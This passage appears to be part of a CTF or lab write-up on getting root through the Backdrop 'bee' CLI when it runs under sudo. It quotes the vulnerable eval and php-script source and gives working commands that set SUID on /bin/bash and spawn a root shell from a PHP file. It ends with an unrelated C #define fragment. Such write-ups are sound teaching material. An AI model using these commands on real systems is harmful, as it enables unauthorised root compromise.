      '!msg' => $e->getMessage(),
      '!code' => $arguments['code'],
    ));
    bee_message($err_msg, 'error');
  }
}

Since eval($arguments['code']) has no input sanitization, we achieve Arbitrary PHP Execution as root.

To execute commands as root, we specify Backdrop’s root directory and invoke the eval command:

Bash
sudo bee --root=/var/www/html eval "system(\"whoami\");"

Then it's easy to escalate to root by setting the SUID bit on /bin/bash:

Bash
sudo bee --root=/var/www/html eval "system(\"chmod +s /bin/bash\");"

Rooted.

Root 2 | php-script

Beyond eval, Bee provides another escalation vector: php-script, allowing Arbitrary PHP file Execution.

The php-script command is also registered in php.bee.inc:

PHP
'php-script' => array(
  'description' => bt('Execute an arbitrary PHP file after bootstrapping Backdrop.'),
  'callback' => 'script_bee_callback',
  'group' => 'advanced',
  'arguments' => array(
    'file' => bt('The file you wish to execute with extension and path. The path to the file should be relative to the Backdrop site root directory, or the absolute path.'),
  ),
  'aliases' => array('scr'),
  'bootstrap' => BEE_BOOTSTRAP_FULL,
),

It calls the script_bee_callback() function, and accepts an argument specifying a PHP file to execute.

PHP
function script_bee_callback($arguments, $options) {
  if (!file_exists($arguments['file'])) {
    return;
  }

  try {
    include($arguments['file']);  // INCLUDES (EXECUTES) THE FILE!
  } catch (ParseError $e) {
    $err_msg = bt('!msg in: !file', array(
      '!msg' => $e->getMessage(),
      '!file' => $arguments['file'],
    ));
    bee_message($err_msg, 'error');
  }
}

There's No input sanitization neither, meaning using include($arguments['file']) executes arbitrary PHP files.

Therefore, we can write a PHP script to spawn a root shell:

Bash
echo '<?php system("/bin/bash"); ?>' > /dev/shm/root_shell.php

Then, execute the script with sudo bee php-script:

Bash
sudo bee --root=/var/www/html php-script /dev/shm/root_shell.php

Rooted again:


#define LABYRINTH (void *)alloc_page(GFP_ATOMIC)